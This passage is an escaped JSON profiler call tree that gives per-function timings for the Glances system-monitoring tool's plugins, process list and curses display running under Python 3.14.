\"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001882,\"attributes\": {\"cpgids\": 0.0018816779993358068, \"l478\": 0.0018816779993358068},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001882,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001989,\"attributes\": {\"cProgramlistPlugin\": 0.0019885570000042208, \"l155\": 0.0019885570000042208},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001989,\"attributes\": {\"cGlancesProcesses\": 0.0019885570000042208, \"l711\": 0.0019885570000042208},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001989,\"attributes\": {\"l71\": 0.0019885570000042208},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001989,\"attributes\": {\"l46\": 0.0019885570000042208},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.001989,\"attributes\": {\"cCounter\": 0.0019885570000042208, \"l614\": 0.0019885570000042208},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000679\",\"time\": 0.001989,\"attributes\": {\"cCounter\": 0.0019885570000042208, \"l700\": 0.0019885570000042208},\"children\": [{\"identifier\": \"__instancecheck__\\u0000<frozen abc>\\u0000117\",\"time\": 0.001989,\"attributes\": {\"cMapping\": 0.0019885570000042208, \"l119\": 0.0019885570000042208},\"children\": [{\"identifier\": \"_abc_instancecheck\\u0000<built-in>\\u00000\",\"time\": 0.001989,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001989,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.022182,\"attributes\": {\"cProgramlistPlugin\": 0.008006541000213474, \"l678\": 0.015989908002666198, \"l675\": 0.001999257001443766, \"l677\": 0.002008522998949047, \"cPercpuPlugin\": 0.001993532001506537, \"cProcesslistPlugin\": 0.012181682999653276, \"l686\": 0.0021840679983142763},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.003999,\"attributes\": {\"cProgramlistPlugin\": 0.003998760999820661, \"l634\": 0.0019995370021206327, \"l656\": 0.001999223997700028},\"children\": [{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995370021206327, \"l628\": 0.0019995370021206327},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000144\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999257001443766, \"l146\": 0.001999257001443766},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002009,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009998,\"attributes\": {\"cProcesslistPlugin\": 0.009997615001339, \"l633\": 0.006011363002471626, \"l634\": 0.003986251998867374},\"children\": [{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.006011,\"attributes\": {\"cProcesslistPlugin\": 0.006011363002471626, \"l619\": 0.004176465001364704, \"l614\": 0.0018348980011069216},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002174,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001835,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001835,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001986,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_optional\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000625\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0019998450006823987, \"l628\": 0.0019998450006823987},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002184,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.397974,\"attributes\": {\"cSensorsPlugin\": 0.3734739610008546, \"l1278\": 0.39797350900335005, \"cFsPlugin\": 0.022391614998923615, \"cWifiPlugin\": 0.002107933003571816},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.397974,\"attributes\": {\"l1295\": 0.39797350900335005},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.373474,\"attributes\": {\"cSensorsPlugin\": 0.3734739610008546, \"l159\": 0.002522239003155846, \"l157\": 0.37095172199769877},\"children\": [{\"identifier\": \"submit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000199\",\"time\": 0.002522,\"attributes\": {\"cThreadPoolExecutor\": 0.002522239003155846, \"l215\": 0.002522239003155846},\"children\": [{\"identifier\": \"_adjust_thread_count\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000219\",\"time\": 0.002522,\"attributes\": {\"cThreadPoolExecutor\": 0.002522239003155846, \"l237\": 0.002522239003155846},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.002522,\"attributes\": {\"cThread\": 0.002522239003155846, \"l1010\": 0.002522239003155846},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000651\",\"time\": 0.002522,\"attributes\": {\"cEvent\": 0.002522239003155846, \"l669\": 0.002522239003155846},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000337\",\"time\": 0.002522,\"attributes\": {\"cCondition\": 0.002522239003155846, \"l369\": 0.002522239003155846},\"children\": [{\"identifier\": \"lock.acquire\\u0000<built-in>\\u00000\",\"time\": 0.002522,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002522,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.370952,\"attributes\": {\"cThreadPoolExecutor\": 0.37095172199769877, \"l667\": 0.37095172199769877},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.370952,\"attributes\": {\"cThreadPoolExecutor\": 0.37095172199769877, \"l273\": 0.37095172199769877},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.370952,\"attributes\": {\"cThread\": 0.37095172199769877, \"l1132\": 0.37095172199769877},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.370952,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.352667,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.018285,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.022392,\"attributes\": {\"cFsPlugin\": 0.022391614998923615, \"l131\": 0.022391614998923615},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.022392,\"attributes\": {\"cFsPlugin\": 0.022391614998923615, \"l158\": 0.0013493160004145466, \"l182\": 0.021042298998509068},\"children\": [{\"identifier\": \"get_disk_partitions\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000140\",\"time\": 0.001349,\"attributes\": {\"cFsPlugin\": 0.0013493160004145466, \"l147\": 0.0013493160004145466},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002084\",\"time\": 0.001349,\"attributes\": {\"l2093\": 0.0013493160004145466},\"children\": [{\"identifier\": \"disk_partitions\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001208\",\"time\": 0.001349,\"attributes\": {\"l1215\": 0.0013493160004145466},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001349,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.021042,\"attributes\": {\"l630\": 0.005891381995752454, \"l631\": 0.015150917002756614},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003190,\"attributes\": {\"cForkProcess\": 0.003190375995473005, \"l121\": 0.003190375995473005},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003190,\"attributes\": {\"l281\": 0.003190375995473005},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003190,\"attributes\": {\"cPopen\": 0.003190375995473005, \"l20\": 0.003190375995473005},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003190,\"attributes\": {\"cPopen\": 0.003190375995473005, \"l70\": 0.003190375995473005},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003190,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.008355,\"attributes\": {\"cForkProcess\": 0.008354996003617998, \"l156\": 0.008354996003617998},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.008355,\"attributes\": {\"cPopen\": 0.008354996003617998, \"l41\": 0.008354996003617998},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.008355,\"attributes\": {\"l1165\": 0.008354996003617998},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.008355,\"attributes\": {\"cPollSelector\": 0.008354996003617998, \"l398\": 0.008354996003617998},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.008355,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.008355,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002701,\"attributes\": {\"cForkProcess\": 0.002701006000279449, \"l121\": 0.002701006000279449},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002701,\"attributes\": {\"l281\": 0.002701006000279449},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002701,\"attributes\": {\"cPopen\": 0.002701006000279449, \"l20\": 0.002701006000279449},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002701,\"attributes\": {\"cPopen\": 0.002701006000279449, \"l70\": 0.002701006000279449},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002701,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.006796,\"attributes\": {\"cForkProcess\": 0.006795920999138616, \"l156\": 0.006795920999138616},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.006796,\"attributes\": {\"cPopen\": 0.006795920999138616, \"l41\": 0.006795920999138616},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.006796,\"attributes\": {\"l1165\": 0.006795920999138616},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.006796,\"attributes\": {\"cPollSelector\": 0.006795920999138616, \"l398\": 0.006795920999138616},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.006796,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.006796,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u000083\",\"time\": 0.002108,\"attributes\": {\"cWifiPlugin\": 0.002107933003571816, \"l101\": 0.002107933003571816},\"children\": [{\"identifier\": \"_get_wireless_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/wifi/__init__.py\\u0000114\",\"time\": 0.002108,\"attributes\": {\"cWifiPlugin\": 0.002107933003571816, \"l119\": 0.002107933003571816},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002108,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001856,\"attributes\": {\"l1295\": 0.0018557019939180464},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/core/__init__.py\\u000044\",\"time\": 0.001856,\"attributes\": {\"cCorePlugin\": 0.0018557019939180464, \"l62\": 0.0018557019939180464},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.001856,\"attributes\": {\"l1684\": 0.0018557019939180464},\"children\": [{\"identifier\": \"cpu_count_cores\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000564\",\"time\": 0.001856,\"attributes\": {\"l575\": 0.0018557019939180464},\"children\": [{\"identifier\": \"glob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000016\",\"time\": 0.001856,\"attributes\": {\"l31\": 0.0018557019939180464},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001856,\"attributes\": {\"l99\": 0.0018557019939180464},\"children\": [{\"identifier\": \"_iglob\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u000063\",\"time\": 0.001856,\"attributes\": {\"l100\": 0.0018557019939180464},\"children\": [{\"identifier\": \"_glob0\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u0000114\",\"time\": 0.001856,\"attributes\": {\"l116\": 0.0018557019939180464},\"children\": [{\"identifier\": \"_join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/glob.py\\u0000224\",\"time\": 0.001856,\"attributes\": {\"l228\": 0.0018557019939180464},\"children\": [{\"identifier\": \"join\\u0000<frozen posixpath>\\u000072\",\"time\": 0.001856,\"attributes\": {\"l82\": 0.0018557019939180464},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001856,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.001995,\"attributes\": {\"cQuicklookPlugin\": 0.001994866004679352, \"l1278\": 0.001994866004679352},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.001995,\"attributes\": {\"l1295\": 0.001994866004679352},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/quicklook/__init__.py\\u0000107\",\"time\": 0.001995,\"attributes\": {\"cQuicklookPlugin\": 0.001994866004679352, \"l134\": 0.001994866004679352},\"children\": [{\"identifier\": \"zfs_stats\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/zfs.py\\u000021\",\"time\": 0.001995,\"attributes\": {\"l30\": 0.001994866004679352},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 1.660429,\"attributes\": {\"cGlancesCursesStandalone\": 1.6604293959971983, \"l1154\": 0.05199289199663326, \"l1169\": 0.8049637759904726, \"l1172\": 0.8034727280100924},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051993,\"attributes\": {\"cGlancesCursesStandalone\": 0.05199289199663326, \"l1135\": 0.05199289199663326},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051993,\"attributes\": {\"cGlancesCursesStandalone\": 0.05199289199663326, \"l569\": 0.04999275499721989, \"l603\": 0.002000136999413371},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049993,\"attributes\": {\"cGlancesCursesStandalone\": 0.04999275499721989, \"l545\": 0.04999275499721989},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049993,\"attributes\": {\"cProgramlistPlugin\": 0.021992982001393102, \"l1101\": 0.04999275499721989, \"cProcesslistPlugin\": 0.027999772995826788},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049993,\"attributes\": {\"cProgramlistPlugin\": 0.021992982001393102, \"l566\": 0.0020015609989059158, \"l587\": 0.047991193998313975, \"cProcesslistPlugin\": 0.027999772995826788},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002002,\"attributes\": {\"l824\": 0.0020015609989059158},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002002,\"attributes\": {\"l773\": 0.0020015609989059158},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.047991,\"attributes\": {\"cProgramlistPlugin\": 0.019991421002487186, \"l538\": 0.03799384500598535, \"l537\": 0.003997274994617328, \"l539\": 0.0019999759970232844, \"l544\": 0.004000098000688013, \"cProcesslistPlugin\": 0.027999772995826788},\"children\": [{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001994,\"attributes\": {\"cProgramlistPlugin\": 0.0019938639961765148, \"l499\": 0.0019938639961765148},\"children\": [{\"identifier\": \"replace_special_chars\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000592\",\"time\": 0.001994,\"attributes\": {\"l595\": 0.0019938639961765148},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999280048068613, \"l440\": 0.0019999280048068613},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999280048068613, \"l296\": 0.0019999280048068613},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019999280048068613, \"l969\": 0.0019999280048068613},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0020004679972771555, \"l500\": 0.0020004679972771555},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002000,\"attributes\": {\"l53\": 0.0020004679972771555},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019994680042145774, \"l429\": 0.0019994680042145774},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019994680042145774, \"l276\": 0.0019994680042145774},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.0019994680042145774, \"l969\": 0.0019994680042145774},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.003999512002337724, \"l429\": 0.003999512002337724},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002000,\"attributes\": {\"cProgramlistPlugin\": 0.0019995059992652386, \"l280\": 0.0019995059992652386},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.002002,\"attributes\": {\"cProcesslistPlugin\": 0.0020016019989270717, \"l500\": 0.0020016019989270717},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.002002,\"attributes\": {\"l51\": 0.0020016019989270717},\"children\": [{\"identifier\": \"stat\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.0020110639961785637, \"l360\": 0.0020110639961785637},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002011,\"attributes\": {\"cProcesslistPlugin\": 0.0020110639961785637, \"l340\": 0.0020110639961785637},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002011,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.001988,\"attributes\": {\"cProcesslistPlugin\": 0.0019878700040862896, \"l505\": 0.0019878700040862896},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000666005187668, \"l367\": 0.002000666005187668},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999993997742422, \"l360\": 0.001999993997742422},\"children\": [{\"identifier\": \"_get_process_curses_vms\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000337\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999993997742422, \"l340\": 0.001999993997742422},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999993997742422, \"l1251\": 0.001999993997742422},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002000,\"attributes\": {\"l478\": 0.001999993997742422},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000400036224164, \"l325\": 0.0020000400036224164},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000400036224164, \"l857\": 0.0020000400036224164},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": 